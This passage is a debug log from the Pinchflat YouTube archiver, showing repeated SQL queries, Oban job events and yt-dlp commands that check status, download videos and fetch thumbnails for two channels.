m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:08:33.157 [debug] QUERY OK source="media_items" db=0.6ms idle=0.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [67, 68] 22:08:33.158 [debug] QUERY OK source="media_items" db=0.1ms idle=0.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [68] 22:08:33.158 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [68] 22:08:33.158 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:08:33.158 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:08:33.158 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:08:33.158 [debug] Running yt-dlp command for action: get_downloadable_status 22:08:33.158 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:08:33.158 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:08:33.159 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:08:33.159 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=bKjfw77cxeQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/52/7b/527b56dd9a035bb3349f870c0d7c622ad414adcca442457806ab31c22b3ba953.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:08:36.222 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=bKjfw77cxeQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/52/7b/527b56dd9a035bb3349f870c0d7c622ad414adcca442457806ab31c22b3ba953.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:08:36.222 [debug] Running yt-dlp command for action: download 22:08:36.222 [debug] QUERY OK source="settings" db=0.1ms idle=1159.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:08:36.222 [debug] QUERY OK source="settings" db=0.0ms idle=1160.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:08:36.222 [debug] QUERY OK source="settings" db=0.0ms idle=1160.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:08:36.222 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=bKjfw77cxeQ --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/TADC/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/1c/7b/1c7b9572fe1ab1a997946aa6f38f0c0cf715b17bb91263348438219c7e90c78b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:08:58.837 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:00.646 [info] {"source":"oban","duration":126,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:09:09.615 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=IzrU7pGbusU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/aa/48/aa486e40c189badc7a0fb3663160a7fbd9e1896915f1ba57f4b24181b22e3c8a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:09:09.625 [debug] Running yt-dlp command for action: download_thumbnail 22:09:09.625 [debug] QUERY OK source="settings" db=0.0ms idle=1562.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:09:09.625 [debug] QUERY OK source="settings" db=0.0ms idle=1562.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:09:09.625 [debug] QUERY OK source="settings" db=0.0ms idle=1562.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:09:09.625 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=IzrU7pGbusU --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/67/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/23/38/23385daf16127a80c4d2c0ff33a6b7d3cfb0172dbab1c458989aa675a4abd3b3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:09:12.280 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=IzrU7pGbusU --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/67/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/23/38/23385daf16127a80c4d2c0ff33a6b7d3cfb0172dbab1c458989aa675a4abd3b3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:09:12.280 [debug] QUERY OK db=0.0ms idle=1218.0ms begin [] 22:09:12.281 [debug] QUERY OK source="media_items" db=0.7ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:09:09Z], "/downloads/Last Meals/2021-10-28 Josh Eats His Last Meal/Josh Eats His Last Meal [IzrU7pGbusU].mp4", ~U[2026-03-28 02:09:12Z], 67] 22:09:12.283 [debug] QUERY OK source="media_metadata" db=2.1ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/67/metadata.json.gz", "/config/metadata/media_items/67/thumbnail.jpg", 67, ~U[2026-03-28 02:09:12Z], ~U[2026-03-28 02:09:12Z]] 22:09:12.284 [debug] QUERY OK db=0.1ms commit [] 22:09:12.284 [debug] QUERY OK source="media_items" db=0.7ms idle=1221.6ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [307503060, ~U[2026-03-28 02:09:12Z], 67] 22:09:12.285 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:09:12.285 [info] {"args":{"id":67},"id":72,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":104520096,"event":"job:stop","queue_time":4730764395,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:09:12.285 [debug] QUERY OK source="tasks" db=0.2ms idle=719.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:09:12.285 [debug] QUERY OK source="tasks" db=0.2ms idle=222.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:09:12.285 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [68] 22:09:12.285 [debug] QUERY OK source="media_items" db=0.2ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [68] 22:09:12.291 [info] {"args":{"id":69},"id":74,"meta":{},"system_time":1774663752291587899,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:09:12.292 [debug] QUERY OK source="media_items" db=0.3ms idle=6.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [69] 22:09:12.292 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:09:12.292 [debug] QUERY OK source="tasks" db=0.4ms idle=5.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:09:12.292 [debug] QUERY OK source="tasks" db=0.4ms idle=6.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:09:12.292 [debug] QUERY OK source="sources" db=0.1ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:09:12.292 [debug] QUERY OK source="media_items" db=0.3ms idle=0.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [68, 69] 22:09:12.292 [debug] QUERY OK source="media_items" db=0.4ms idle=0.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [68, 69] 22:09:12.292 [debug] QUERY OK source="media_profiles" db=0.4ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:09:12.293 [debug] QUERY OK source="media_items" db=0.1ms idle=0.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [69] 22:09:12.293 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [69] 22:09:12.293 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:09:12.293 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:09:12.293 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:09:12.293 [debug] Running yt-dlp command for action: get_downloadable_status 22:09:12.293 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:09:12.293 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:09:12.293 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:09:12.293 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=sYlEkm9bcRU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b3/8c/b38c254af5db7cd351287e3410496fb6a719eb78a986d06bdde55f891b70e8b2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:09:14.679 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=sYlEkm9bcRU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b3/8c/b38c254af5db7cd351287e3410496fb6a719eb78a986d06bdde55f891b70e8b2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:09:14.679 [debug] Running yt-dlp command for action: download 22:09:14.679 [debug] QUERY OK source="settings" db=0.1ms idle=617.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:09:14.679 [debug] QUERY OK source="settings" db=0.0ms idle=617.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:09:14.680 [debug] QUERY OK source="settings" db=0.0ms idle=617.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:09:14.680 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=sYlEkm9bcRU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/db/bf/dbbfc4de6539a00800f611392bad090ec3f6388ec538802e0171495f4971294e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:09:28.838 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:57.113 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=bKjfw77cxeQ --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/TADC/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/1c/7b/1c7b9572fe1ab1a997946aa6f38f0c0cf715b17bb91263348438219c7e90c78b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:09:57.128 [debug] Running yt-dlp command for action: download_thumbnail 22:09:57.128 [debug] QUERY OK source="settings" db=0.0ms idle=1066.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:09:57.128 [debug] QUERY OK source="settings" db=0.0ms idle=1066.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:09:57.128 [debug] QUERY OK source="settings" db=0.0ms idle=1066.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:09:57.128 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=bKjfw77cxeQ --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output 